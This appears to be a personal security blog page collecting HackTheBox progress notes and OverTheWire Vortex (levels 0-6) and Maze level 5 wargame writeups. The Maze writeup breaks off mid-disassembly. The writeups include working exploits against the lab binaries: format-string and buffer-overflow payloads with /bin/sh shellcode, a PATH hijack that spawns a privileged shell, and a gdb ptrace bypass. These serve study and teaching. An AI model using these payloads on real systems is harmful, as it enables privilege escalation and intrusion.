- Ghoul
- Bitlab
- Wall
- Json
- Postman
- Forest
- Traverexc
- Mango
- Zetta
- Registry
Husband, Father, Cyclist ... and sometimes an IT professional loving Security and Infrastructure
Other Hackthebox accomplishments and writeup link
After some time, I'm here again to share a few updates on Hackthebox machines I rooted since last post:
New challenges
After playing with warboxes on overthewire.org, and taking some rest (vacation, family, ...)I decided to try other chellanges.
Some time ago I heard of HackTheBox and that looked very interesting, so I decided it was time to try it.
You can subscribe to it for a free account: you're given a openvpn config that make you access to some (~20 ) virtual machines.
With a small monthly fee you can also have access to other machines (~100) that have benn retired and you also have access to walkthroughs of these retired machines.
(the concept behind is that every week a public machines gets replaced by a new one while the replaced VM becomes retired)
The goal is to find a way into the machine and caputre a user and root flags.
Every flag give you points that are used to calculated your total score and ranking.
There are also side challenges similar to other CTF (like reversing files...)
So far I focused on easy/medium machines to solve and got root/admin on the following:
I wrote walkthrough for these machines, but I can't publish them, as they are still active and publicly available machines.
Once they get retired, I'll publish them.
So now the badge is:
Some time ago I heard of HackTheBox and that looked very interesting, so I decided it was time to try it.
You can subscribe to it for a free account: you're given a openvpn config that make you access to some (~20 ) virtual machines.
With a small monthly fee you can also have access to other machines (~100) that have benn retired and you also have access to walkthroughs of these retired machines.
(the concept behind is that every week a public machines gets replaced by a new one while the replaced VM becomes retired)
The goal is to find a way into the machine and caputre a user and root flags.
Every flag give you points that are used to calculated your total score and ranking.
There are also side challenges similar to other CTF (like reversing files...)
So far I focused on easy/medium machines to solve and got root/admin on the following:
- Bastion
- Craft
- Haystack
- Heist
- Jarvis
- Luke
- Networkd
- Swagshop
- Writeup
I wrote walkthrough for these machines, but I can't publish them, as they are still active and publicly available machines.
Once they get retired, I'll publish them.
So now the badge is:
OverTheWire.org - Vortex - Level 6 Writeup
If we run the executable it seems to hang.
But using ltrace (or strace) we discover that it keeps executing itself creating an endless cycle:
Let's look at the code in gdb:
We see that if argv[0] is not set, the flow jumps to the final lines with printf() and exit().
Otherwise it jumps to restart: this procedure calls execlp() with argv[0] as parameter-
Passing a specific argv[0] we can redirect the execlp() call in the first execution of restart
Let's try with this calling program with something in the argument and ENV
Compile and executing it in a temporary folder
The interesting part is that it calls execve("A"), where "A" is the argv[0] we put in the calling program.
So now we create a symbolic link to /bin/sh and add local directory in the PATH.
Then execute vortex6 and...
But using ltrace (or strace) we discover that it keeps executing itself creating an endless cycle:
vortex6@vortex:~$ ltrace /vortex/vortex6 __libc_start_main(0x804849f, 1, 0xffffd7c4, 0x80484e0 <unfinished ...> execlp("/vortex/vortex6", "/vortex/vortex6", 0, 0x8048532, 0x1 <no return ...> --- Called exec() --- __libc_start_main(0x804849f, 1, 0xffffd7c4, 0x80484e0 <unfinished ...> execlp("/vortex/vortex6", "/vortex/vortex6", 0, 0x8048532, 0x1 <no return ...> --- Called exec() --- __libc_start_main(0x804849f, 1, 0xffffd7c4, 0x80484e0 <unfinished ...> execlp("/vortex/vortex6", "/vortex/vortex6", 0, 0x8048532, 0x1 <no return ...> --- Called exec() --- __libc_start_main(0x804849f, 1, 0xffffd7c4, 0x80484e0 <unfinished ...> execlp("/vortex/vortex6", "/vortex/vortex6", 0, 0x8048532, 0x1 <no return ...> --- Called exec() --- __libc_start_main(0x804849f, 1, 0xffffd7c4, 0x80484e0 <unfinished ...> execlp("/vortex/vortex6", "/vortex/vortex6", 0, 0x8048532, 0x1 <no return ...>
Let's look at the code in gdb:
vortex6@vortex:~$ gdb /vortex/vortex6 ... (gdb) disassemble main Dump of assembler code for function main: 0x0804849f <+0>: push %ebp 0x080484a0 <+1>: mov %esp,%ebp 0x080484a2 <+3>: and $0xfffffff0,%esp 0x080484a5 <+6>: sub $0x10,%esp 0x080484a8 <+9>: mov 0x10(%ebp),%eax 0x080484ab <+12>: mov (%eax),%eax 0x080484ad <+14>: test %eax,%eax 0x080484af <+16>: je 0x80484be <main+31> 0x080484b1 <+18>: mov 0xc(%ebp),%eax 0x080484b4 <+21>: mov (%eax),%eax 0x080484b6 <+23>: mov %eax,(%esp) 0x080484b9 <+26>: call 0x804847d <restart> 0x080484be <+31>: mov 0x10(%ebp),%eax 0x080484c1 <+34>: add $0xc,%eax 0x080484c4 <+37>: mov (%eax),%eax 0x080484c6 <+39>: mov %eax,(%esp) 0x080484c9 <+42>: call 0x8048330 <printf@plt> 0x080484ce <+47>: movl $0x7325,(%esp) 0x080484d5 <+54>: call 0x8048340 <_exit@plt> End of assembler dump. (gdb) disassemble restart Dump of assembler code for function restart: 0x0804847d <+0>: push %ebp 0x0804847e <+1>: mov %esp,%ebp 0x08048480 <+3>: sub $0x18,%esp 0x08048483 <+6>: movl $0x0,0x8(%esp) 0x0804848b <+14>: mov 0x8(%ebp),%eax 0x0804848e <+17>: mov %eax,0x4(%esp) 0x08048492 <+21>: mov 0x8(%ebp),%eax 0x08048495 <+24>: mov %eax,(%esp) 0x08048498 <+27>: call 0x8048350 <execlp@plt> 0x0804849d <+32>: leave 0x0804849e <+33>: ret End of assembler dump. (gdb)
We see that if argv[0] is not set, the flow jumps to the final lines with printf() and exit().
Otherwise it jumps to restart: this procedure calls execlp() with argv[0] as parameter-
Passing a specific argv[0] we can redirect the execlp() call in the first execution of restart
Let's try with this calling program with something in the argument and ENV
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | #include <stdlib.h> int main (int argc, char *argv[]) { char *sc[4]; sc[0]="A"; sc[1]= "AAAA"; sc[2]= "BBBB"; sc[3]= "CCCC"; execve("/vortex/vortex6",sc,sc); return 0; } |
Compile and executing it in a temporary folder
vortex6@vortex:/tmp/vortex6$ strace ./v6 execve("./v6", ["./v6"], [/* 20 vars */]) = 0 .... execve("/vortex/vortex6", ["A", "AAAA", "BBBB", "CCCC", "UW1\377VS\350\325\376\377\377\201\303\205\33"], [/* 9 vars */]) = 0 ..... execve("A", ["A"], [/* 22 vars */]) = -1 ENOENT (No such file or directory) .... exit_group(29477) = ? +++ exited with 37 +++
The interesting part is that it calls execve("A"), where "A" is the argv[0] we put in the calling program.
So now we create a symbolic link to /bin/sh and add local directory in the PATH.
Then execute vortex6 and...
vortex6@vortex:/tmp/vortex6$ ln -s /bin/sh A vortex6@vortex:/tmp/vortex6$ PATH=.:$PATH vortex6@vortex:/tmp/vortex6$ ./v6 $ id uid=5006(vortex6) gid=5006(vortex6) euid=5007(vortex7) groups=5007(vortex7),5006(vortex6) $ cat /etc/vortex_pass/vortex7 Y******/
$
OverTheWire.org - Vortex - Level 5 Writeup
Well, this level is pretty easy.
We have the source code and we know we have to guess a password that is long 5 bytes and the alphabet is {a-z,A-Z,0-9}.
Looking at the code we see a memcmp() call that compares the MD5 hash of the input to a fixed value:
"\x15\x5f\xb9\x5d\x04\x28\x7b\x75\x7c\x99\x6d\x77\xb5\xea\x51\xf7"
So let's strip off the "\x" and we get the MD5 hash of the unknown password we have to guess.
Now we only have to put this hash into a password cracker or an online service that does it for us (like https://crackstation.net/)
We find that the password is rlTf6
Let's use it:
We have the source code and we know we have to guess a password that is long 5 bytes and the alphabet is {a-z,A-Z,0-9}.
Looking at the code we see a memcmp() call that compares the MD5 hash of the input to a fixed value:
"\x15\x5f\xb9\x5d\x04\x28\x7b\x75\x7c\x99\x6d\x77\xb5\xea\x51\xf7"
So let's strip off the "\x" and we get the MD5 hash of the unknown password we have to guess.
Now we only have to put this hash into a password cracker or an online service that does it for us (like https://crackstation.net/)
We find that the password is rlTf6
Let's use it:
vortex5@vortex:~$ /vortex/vortex5 Password: rlTf6 6:36 You got the right password, congrats! $ id uid=5006(vortex6) gid=5005(vortex5) groups=5006(vortex6),5005(vortex5) $ cat /etc/vortex_pass/vortex6 ********2
$
OverTheWire.org - Vortex - Level 4 Writeup
We have the source code and it's quite clear that we can levereage a format string vulnerability using argv[3]
But wait, the program exits if argc (i.e. the number of parameters) is not zero.
We can overcome it by passing arguments in the environment and keeping the argument array NULL.
argv[3] is the third argument on the command line and it should correspond to second environment parameter
Let's create a temporary directory and move to it:
vortex4@vortex:~$ mkdir /tmp/vortex4 vortex4@vortex:~$ cd /tmp/vortex4
Let's write a calling application like in some utumno levels to confirm the behavior:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | #include <stdlib.h> int main (int argc, char *argv[]) { char *sc[3]; sc[0]="/vortex/vortex4"; sc[1]= "AAAA; sc[2]= "BBBB"; execve("/vortex/vortex4",NULL,sc); return 0; } |
Compile and execute with ltrace
vortex4@vortex:/tmp/vortex4$ gcc -m32 v4.c -o v4 vortex4@vortex:/tmp/vortex4$ ltrace ./v4 __libc_start_main(0x804841d, 1, 0xffffd6f4, 0x8048470 <unfinished ...> execve(0x8048500, 0, 0xffffd644, 0xf7e5519d <no return ...> --- Called exec() --- __libc_start_main(0x804844d, 0, 0xffffded4, 0x8048490 <unfinished ...> printf("BBBB") = 4 exit(0BBBB <no return ...> +++ exited (status 0) +++
So the sc[2] is passed to vortex4 and printed.
We have to play with the format string some times so let's change the calling program to use its own command line parameter:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | #include <stdlib.h> int main (int argc, char *argv[]) { char *sc[3]; sc[0]="/vortex/vortex4"; sc[1]= "AAAA"; sc[2]= argv[1]; execve("/vortex/vortex4",NULL,sc); return 0; } |
The basic idea of the exploit is to abuse the exit() call at the end of the vortex4 executable and find a way to change it like in the previous level.
But this time it won't be via a strcpy() and dedicated istructions to make it possibile.
We have to use a format string.
Before diving into the exploit we need to get the exit() function memory address that we have to overwrite.
vortex4@vortex:~$ gdb /vortex/vortex4 ... (gdb) disas main ... 0x08048473 <+38>: call 0x8048310 <printf@plt> 0x08048478 <+43>: movl $0x0,(%esp) 0x0804847f <+50>: call 0x8048330 <exit@plt> End of assembler dump. (gdb) disas 0x8048330 Dump of assembler code for function exit@plt: 0x08048330 <+0>: jmp *0x804a014 0x08048336 <+6>: push $0x10 0x0804833b <+11>: jmp 0x8048300 End of assembler dump. (gdb) x/wx 0x08048332 0x8048332 <exit@plt+2>: 0x0804a014 (gdb) x/wx 0x804a014 0x804a014 <exit@got.plt>: 0x08048336
So we have to overwrite that 0x08048336 value stored at 0x0804a014 with the address containing a shellcode.
So let's start with a default format string check by using a fixed string like "BBBB" followed by a number of "%x".
Let's start with one "%x" until the print() call shows the hex representation of "BBBB" (0x42424242)...
We find that we have to use 107 repeated "%x":
vortex4@vortex:/tmp/vortex4$ ./v4 $(python -c 'print "BBBB" + "%x"*106 + "%x"') BBBBf7ffd000804849bf7fcc000804849000f7e3bad30ffffde04ffffde08f7feae6a0ffffde04ffffdda4804a018804822cf7fcc000000f5ffd6fdcd3012ed000080483500f7ff0660f7e3b9e9f7ffd0000804835008048371804844d0ffffde0480484908048500f7feb300ffffddfc1c00ffffdee8ffffdef8ffffdefdffffdfd8020f7fdbb5021f7fdb00010178bfbff61000116438048034420597f7fdc0008098048350b138cc138dd138ce138c17119ffffdecb1fffffdfe8fffffdedb00000f50000009b0f9b9c9f81052245ddaca4698e791436383600726f762f2f78657474726f763478654141414142424200
So now we can start using another format %n instead of last %x and change the "BBBB" sequence with the exit() function address 0x0804a014:
vortex4@vortex:/tmp/vortex4$ gdb ./v4 ... Reading symbols from ./v4...(no debugging symbols found)...done. (gdb) set args $(python -c 'print "\x14\xa0\x04\x08" + "%x"*106 + "%hn"') (gdb) r Starting program: /tmp/vortex4/v4 $(python -c 'print "\x14\xa0\x04\x08" + "%x"*106 + "%hn"') process 768 is executing new program: /vortex/vortex4 Program received signal SIGSEGV, Segmentation fault. 0x080401e3 in ?? ()
What happened?
The format string changed two bytes (due to %hn) at address 0x0804a014, which means that value 0x08048336 to 0x080401e3, where 01e3 is determined by the number of byte written before %hn
Now we have to change also the part "0x0804" the address to something on the stack.
So we need an additional %hn to point to 0x0804a016
and we also need to know where the buffer is loaded on the stack.
So our buffer should be composed by
- address-1 to be overwritten (first two bytes)
- filling
- address-2 to be overwritten (last two byes)
- NOP Slide
- Shellcode
- repeated %x
- a %Nx where N is a number that changes the value written at address-1
- a %hn that writes a number on two bytes at address-1
- a %Mx where M determines the number to be written at address-2
- a %hn that writes the number
Note that N and M must write a number that is an address inside the NOP slide on the stack (most likely an address similar to 0xffffde00)
After some time I found this working buffer:
./v4 $(python -c 'print "\x11\x12\x13\x14\x15\x14\xa0\x04\x08\x08\xa0\x04\x11\x16\xa0\x04\x08\x08" + "\x90"*200 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80" + "%x"*106 + "%56220x" + "%hn" + "%8589x" + "%hn" ') $ id uid=5004(vortex4) gid=5004(vortex4) euid=5005(vortex5) groups=5005(vortex5),5004(vortex4) $ cat /etc/vortex_pass/vortex5 :******r $
I highlighted in black and bold the salient parts:
- where to put the addess to be overwwritten
- the format strings
OverTheWire.org - Vortex - Level 3 Writeup
Looking at the source code we see that the stack looks like this:
Initially the lpp points to the location of lp (which is on the heap, at address 0x0804...).
And lp points to the location (on the heap) of the number 31337
Where:
The interesting thing here is that there is a direct jump to an absolute address in memory (0x08049734).
What if we overwrite it with the buffer location using the "almost" arbitrary overwrite seen above?
The last exit() call should jump to code in the buffer!
The address to overwrite is just two bytes after the exit location on the heap:
Let's build a buffer that is
And try:
|----------------------------------------------|-----|-----| | buffer (128 bytes) | tmp | lpp | |----------------------------------------------|-----|-----|
Initially the lpp points to the location of lp (which is on the heap, at address 0x0804...).
And lp points to the location (on the heap) of the number 31337
If we look at the last part assembler code we find:
... 0x08048487 <+90>: call 0x8048310 <exit@plt> 0x0804848c <+95>: mov 0x9c(%esp),%eax 0x08048493 <+102>: mov (%eax),%eax 0x08048495 <+104>: mov %eax,0x98(%esp) 0x0804849c <+111>: mov 0x9c(%esp),%eax 0x080484a3 <+118>: mov (%eax),%eax 0x080484a5 <+120>: lea 0x18(%esp),%edx 0x080484a9 <+124>: mov %edx,(%eax) 0x080484ab <+126>: movl $0x0,(%esp) 0x080484b2 <+133>: call 0x8048310 <exit@plt> End of assembler dump.
Where:
- 0x18(%esp) is the start of the buffer address
- 0x98(%esp) is tmp
- 0x9c(%esp) is lpp
The code in the last few lines writes the buffer memory address into the memory location pointed by eax, but eax value is determined by 0x9c(%esp) (i.e. lpp)
So if build a buffer that is longer than 128 bytes we can write the address of the buffer into a memory location we can choose with the bytes 133rd - 136th (i.e. using lpp)
There is also a check that lpp must contain 0x0804.
Therefore we cannot write arbitrary values to execute a standard buffer overflow using the return address pushed on the stack because it should start with 0xffff...
We can only write in memory areas that begins with 0x0804.
But we can exploit other things than the stack...
Look at the last line of assembler: it's a call to where exit is located on the heap:
(gdb) disas 0x08048310 Dump of assembler code for function exit@plt: 0x08048310 <+0>: jmp *0x8049734 0x08048316 <+6>: push $0x10 0x0804831b <+11>: jmp 0x80482e0
The interesting thing here is that there is a direct jump to an absolute address in memory (0x08049734).
What if we overwrite it with the buffer location using the "almost" arbitrary overwrite seen above?
The last exit() call should jump to code in the buffer!
The address to overwrite is just two bytes after the exit location on the heap:
(gdb) x/wx 0x08048312
0x8048312 <exit@plt+2>: 0x08049734
Let's build a buffer that is
|------------------------------------------------|-----|------------| | NOP + shellcode (128 bytes) | tmp | 0x08048312 | |------------------------------------------------|-----|------------|
And try:
vortex3@vortex:~$ /vortex/vortex3 $(python -c 'print "\x90"*101 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80" + "\x18\xd5\xff\xff" +"\x12\x83\x04\x08"') $ id uid=5003(vortex3) gid=5003(vortex3) euid=5004(vortex4) groups=5004(vortex4),5003(vortex3) $ cat /etc/vortex_pass/vortex4 2*******w
$
OverTheWire.org - Vortex - Level 2 Writeup
The code executes a tar command that creates an archive named /tmp/ownership.$$.tar
The main point here is that $$, when used in a bash script represent the PID of the process itself.
But in our case, an ELF executable, it's not representing the PID but they are used as characters.
Therefore we just have to run the executable including the password as parameter.
Then we have to:
The main point here is that $$, when used in a bash script represent the PID of the process itself.
But in our case, an ELF executable, it's not representing the PID but they are used as characters.
Therefore we just have to run the executable including the password as parameter.
Then we have to:
- create a temporary folder,
- move to it,
- run the executable using,
- untar the file,
- view the content in the local copy of the file.
vortex2@vortex:/$ mkdir /tmp/v3 vortex2@vortex:/$ cd /tmp/v3 vortex2@vortex:/tmp/v3$ /vortex/vortex2 /etc/vortex_pass/vortex3 vortex2@vortex:/tmp/v3$ tar -xvf /tmp/ownership.\$\$.tar etc/vortex_pass/vortex3 vortex2@vortex:/tmp/v3$ cat etc/vortex_pass/vortex3 6******#
OverTheWire.org - Vortex - Level 1 Writeup
We have the code available, so it's a bit easier.
ptr is initially pointing in the middle of buf.
If we put a \ in the input we decrease the buffer.
If we put a character that is not a "new line" it is written to the location pointed by ptr.
But also a shell is executed when ptr location is
By using gdb we know that ptr contains an address like 0xffffd4yy (in my case it was 0xffffd434)
We can use 261 \ to point ptr just one byte ahead of itself.
The overwrite it with a 0xca and a few valid bytes that resembles the original address.
But it does nothing... or not?
Let's use strace and see...
Well it executes the bash in interactive mode, but it has an issue with ioctl() call.
Usually it can by bypassed by having the shell open and output the password file...
We can pass something to vortex1 process that will pass to bash interactive, like this;
Basically we have a 512 byte buffer buf and a pointer ptr.
The memory, display from top to down is:
|---------| | ptr | -- |---------| | | buf | | | | | | | | | |<--
ptr is initially pointing in the middle of buf.
If we put a \ in the input we decrease the buffer.
If we put a character that is not a "new line" it is written to the location pointed by ptr.
But also a shell is executed when ptr location is
By using gdb we know that ptr contains an address like 0xffffd4yy (in my case it was 0xffffd434)
We can use 261 \ to point ptr just one byte ahead of itself.
The overwrite it with a 0xca and a few valid bytes that resembles the original address.
vortex1@vortex:~$ python -c 'print "\\"*261 + "\xca\xfd\xff\xca"' | /vortex/vortex1 vortex1@vortex:~$
But it does nothing... or not?
Let's use strace and see...
vortex1@vortex:~$ python -c 'print "\\"*261 + "\xca\xfd\xff\xca"' | strace /vortex/vortex1 fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fd6000 read(0, "\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"..., 4096) = 267 geteuid32() = 5001 geteuid32() = 5001 geteuid32() = 5001 setresuid32(5001, 5001, 5001) = 0 execve("/bin/sh", ["sh"], [/* 34 vars */]) = 0 [ Process PID=800 runs in 64 bit mode. ] brk(0) = 0x555555774000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=27393, ...}) = 0 mmap(NULL, 27393, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7ff0000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P \2\0\0\0\0\0"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=1857312, ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fef000 mmap(NULL, 3965632, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7a11000 mprotect(0x7ffff7bcf000, 2097152, PROT_NONE) = 0 mmap(0x7ffff7dcf000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1be000) = 0x7ffff7dcf000 mmap(0x7ffff7dd5000, 17088, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7dd5000 close(3) = 0 mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fed000 arch_prctl(ARCH_SET_FS, 0x7ffff7fed740) = 0 mprotect(0x7ffff7dcf000, 16384, PROT_READ) = 0 mprotect(0x55555576f000, 8192, PROT_READ) = 0 mprotect(0x7ffff7ffc000, 4096, PROT_READ) = 0 munmap(0x7ffff7ff0000, 27393) = 0 getpid() = 800 rt_sigaction(SIGCHLD, {0x555555566460, ~[RTMIN RT_1], SA_RESTORER, 0x7ffff7a47cb0}, NULL, 8) = 0 geteuid() = 5001 brk(0) = 0x555555774000 brk(0x555555795000) = 0x555555795000 getppid() = 796 stat("/tmp/v1", {st_mode=S_IFDIR|0775, st_size=4096, ...}) = 0 stat(".", {st_mode=S_IFDIR|0775, st_size=4096, ...}) = 0 ioctl(0, SNDCTL_TMR_TIMEBASE or SNDRV_TIMER_IOCTL_NEXT_DEVICE or TCGETS, 0x7fffffffe310) = -1 ENOTTY (Inappropriate ioctl for device) rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0 rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], SA_RESTORER, 0x7ffff7a47cb0}, NULL, 8) = 0 rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0 rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], SA_RESTORER, 0x7ffff7a47cb0}, NULL, 8) = 0 rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0 rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], SA_RESTORER, 0x7ffff7a47cb0}, NULL, 8) = 0 read(0, "", 8192) = 0 exit_group(0) = ? +++ exited with 0 +++
Well it executes the bash in interactive mode, but it has an issue with ioctl() call.
Usually it can by bypassed by having the shell open and output the password file...
We can pass something to vortex1 process that will pass to bash interactive, like this;
vortex1@vortex:~$ (python -c 'print "\\"*261 + "\xca\xfd\xff\xca"'; echo "cat /etc/vortex_pass/vortex2") | /vortex/vortex1 2*******E vortex1@vortex:~$
OverTheWire.org - Vortex - Level 0 Writeup
Let's start with the requirements...
We have to
I'm a bit ashamed publishing this code cause it's badly written, but it took me short time and it works.
We have to
- connect to port 5842 of vortex.labs.overthewire.org
- read 4 integer numbers (4 byte each) in host byte order (i.e. little endian)
- Sum this numbers
- send it back (in the same host byte order
- read the reply that contains username and password
I'm a bit ashamed publishing this code cause it's badly written, but it took me short time and it works.
#!/usr/bin/env python3 import socket HOST = '176.9.9.172' PORT = 5842 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((HOST, PORT)) data = s.recv(16) print('Received', repr(data)) num1=data[0]+ data[1]*256 + data[2]*256*256 + data[3]*256*256*256 num2=data[4]+ data[5]*256 + data[6]*256*256 + data[7]*256*256*256 num3=data[8]+ data[9]*256 + data[10]*256*256 + data[11]*256*256*256 num4=data[12]+ data[13]*256 + data[14]*256*256 + data[15]*256*256*256 total=num1+num2+num3+num4 byte1= total // (256*256*256) reminder1= total % (256*256*256) byte2= reminder1 // (256*256) reminder2= reminder1 % (256*256) byte3= reminder2 // (256) byte4= reminder2 % (256) reply=[byte4,byte3,byte2,byte1] reply2=bytes(reply) s.sendall(reply2) data=s.recv(128) print('Received', data)
OverTheWire.org - Maze - Level 5 Writeup
Let's run the executable and see how it works
It asks for username and password that must have a proper length.
The section that checks the lenght of the passw rd is the following:
So the required length is 8 bytes for both username and password.
If we input 8 byte username and password and trace it with ltrace:
The interesting code in main section is the following:
The bad part is that call to ptrace(0,0,0,0) which don't help when it comes to analyzing the behavior in gdb.
Well, not that bad...
We can get past that ptrace with a combination of break and jump.
Let's place a break on the ptrace call when we start gdb, at run time, when the flow stops at the break we jump after the puts call:
This helps to get past the ptrace call in gdb.
After the ptrace() and a call to puts() that shows "nahnah", we have other code that pushes username and password address then calls the function foo().
Let's see the foo() code:
Quite long and complex with some jumps.
The interesting part is at line 0x080485c8.
It compares byte values in eax and edx.
If they are not equal, it puts 0 in eax and then exit.
Otherwise it jumps to another section, it loads data from memory location and jumps back to the beginning of foo().
It looks like it is checking something between the username and password byte-by-byte.
We can put a break at the line of the comparison and see what happens.
So now let's summarize the approach:
It seems that eax contains the last byte of the password (0x49 is hex for letter I)
Edx has another value, so comparison will fail.
Let's run again with a different username, let's say we change last byte of the username to AAAAAAAB
Interesting... the edx value is decreased by 1, while the 8th byte of username was change from A to B (se increased by 1)
Let's then adjust the last byte of username to V and retry
Explanation: A gives 0x5e, B gives 0x5d ... so V should give 0x49
Yes... eax and edx are equal...
If we continue the execution we should reach the break again
OK, we got past the first jump and then the code is now comparing the 7th byte of the password (H which is 0x48) with another value 0x63
Let's use the same approach: with some tries, we discover that changing 7th byte of the username to \ will give eax = edx = 0x48
We got past the second iteration and now we have to guess the 6th byte...
If we use the same approach for the 6th byte, etc.... we discover that a possibile combination of username and password are: onbdg\\V and BCDEFGHI
Note that with a different password, also username must be different: the base fact is that foo() function compares the password byte by byte with a shifted value of the correspondent byte of username.
Finally we can use the username and password to get our privileged shell
maze5@maze:~$ /maze/maze5
X----------------
Username: user
Key: pass
Wrong length you!
It asks for username and password that must have a proper length.
The section that checks the lenght of the passw rd is the following:
0x0804863a <+83>: call 0x80483f0 <strlen@plt> 0x0804863f <+88>: add $0x4,%esp 0x08048642 <+91>: cmp $0x8,%eax 0x08048645 <+94>: jne 0x8048658 <main+113> 0x0804864b <+100>: call 0x80483f0 <strlen@plt> 0x08048650 <+105>: add $0x4,%esp 0x08048653 <+108>: cmp $0x8,%eax 0x08048656 <+111>: je 0x804866c <main+133>
So the required length is 8 bytes for both username and password.
If we input 8 byte username and password and trace it with ltrace:
maze5@maze:~$ ltrace /maze/maze5 __libc_start_main(0x80485e7, 1, 0xffffd7a4, 0x80486e0 <unfinished ...> puts("X----------------"X---------------- ) = 18 printf(" Username: ") = 11 __isoc99_scanf(0x804877e, 0xffffd6ff, 0x804821c, 0x80486e9 Username: username ) = 1 printf(" Key: ") = 11 __isoc99_scanf(0x804877e, 0xffffd6f6, 0x804821c, 0x80486e9 Key: password ) = 1 strlen("username") = 8 strlen("password") = 8 ptrace(0, 0, 0, 0) = 0xffffffff puts("\nnahnah..."
The interesting code in main section is the following:
0x0804866c <+133>: push $0x0 0x0804866e <+135>: push $0x0 0x08048670 <+137>: push $0x0 0x08048672 <+139>: push $0x0 0x08048674 <+141>: call 0x8048420 <ptrace@plt> 0x08048679 <+146>: add $0x10,%esp 0x0804867c <+149>: test %eax,%eax 0x0804867e <+151>: je 0x8048694 <main+173> 0x08048680 <+153>: push $0x80487a0 0x08048685 <+158>: call 0x80483c0 <puts@plt> 0x0804868a <+163>: add $0x4,%esp 0x0804868d <+166>: mov $0x0,%eax 0x08048692 <+171>: jmp 0x80486d6 <main+239> 0x08048694 <+173>: lea -0x12(%ebp),%eax 0x08048697 <+176>: push %eax 0x08048698 <+177>: lea -0x9(%ebp),%eax 0x0804869b <+180>: push %eax 0x0804869c <+181>: call 0x804853b <foo>
The bad part is that call to ptrace(0,0,0,0) which don't help when it comes to analyzing the behavior in gdb.
Well, not that bad...
We can get past that ptrace with a combination of break and jump.
Let's place a break on the ptrace call when we start gdb, at run time, when the flow stops at the break we jump after the puts call:
# at gdb start
(gdb) break *0x08048674
# during execution
(gdb) jump *0x08048694
This helps to get past the ptrace call in gdb.
After the ptrace() and a call to puts() that shows "nahnah", we have other code that pushes username and password address then calls the function foo().
Let's see the foo() code:
0x0804853b <+0>: push %ebp 0x0804853c <+1>: mov %esp,%ebp 0x0804853e <+3>: sub $0x14,%esp 0x08048541 <+6>: movl $0x6e697270,-0x11(%ebp) 0x08048548 <+13>: movl $0x6c6f6c74,-0xd(%ebp) 0x0804854f <+20>: movb $0x0,-0x9(%ebp) 0x08048553 <+24>: movl $0x0,-0x4(%ebp) 0x0804855a <+31>: jmp 0x804859c <foo+97> 0x0804855c <+33>: mov -0x4(%ebp),%edx 0x0804855f <+36>: mov 0x8(%ebp),%eax 0x08048562 <+39>: add %edx,%eax 0x08048564 <+41>: movzbl (%eax),%eax 0x08048567 <+44>: movsbl %al,%eax 0x0804856a <+47>: sub $0x41,%eax 0x0804856d <+50>: mov %eax,-0x8(%ebp) 0x08048570 <+53>: lea -0x11(%ebp),%edx 0x08048573 <+56>: mov -0x4(%ebp),%eax 0x08048576 <+59>: add %edx,%eax 0x08048578 <+61>: movzbl (%eax),%eax 0x0804857b <+64>: mov %eax,%ecx 0x0804857d <+66>: mov -0x4(%ebp),%eax 0x08048580 <+69>: lea (%eax,%eax,1),%edx 0x08048583 <+72>: mov -0x8(%ebp),%eax 0x08048586 <+75>: add %edx,%eax 0x08048588 <+77>: sub %eax,%ecx 0x0804858a <+79>: mov %ecx,%eax 0x0804858c <+81>: mov %eax,%ecx 0x0804858e <+83>: lea -0x11(%ebp),%edx 0x08048591 <+86>: mov -0x4(%ebp),%eax 0x08048594 <+89>: add %edx,%eax 0x08048596 <+91>: mov %cl,(%eax) 0x08048598 <+93>: addl $0x1,-0x4(%ebp) 0x0804859c <+97>: pushl 0x8(%ebp) 0x0804859f <+100>: call 0x80483f0 <strlen@plt> 0x080485a4 <+105>: add $0x4,%esp 0x080485a7 <+108>: mov %eax,%edx 0x080485a9 <+110>: mov -0x4(%ebp),%eax 0x080485ac <+113>: cmp %eax,%edx 0x080485ae <+115>: ja 0x804855c <foo+33> 0x080485b0 <+117>: jmp 0x80485d3 <foo+152> 0x080485b2 <+119>: lea -0x11(%ebp),%edx 0x080485b5 <+122>: mov 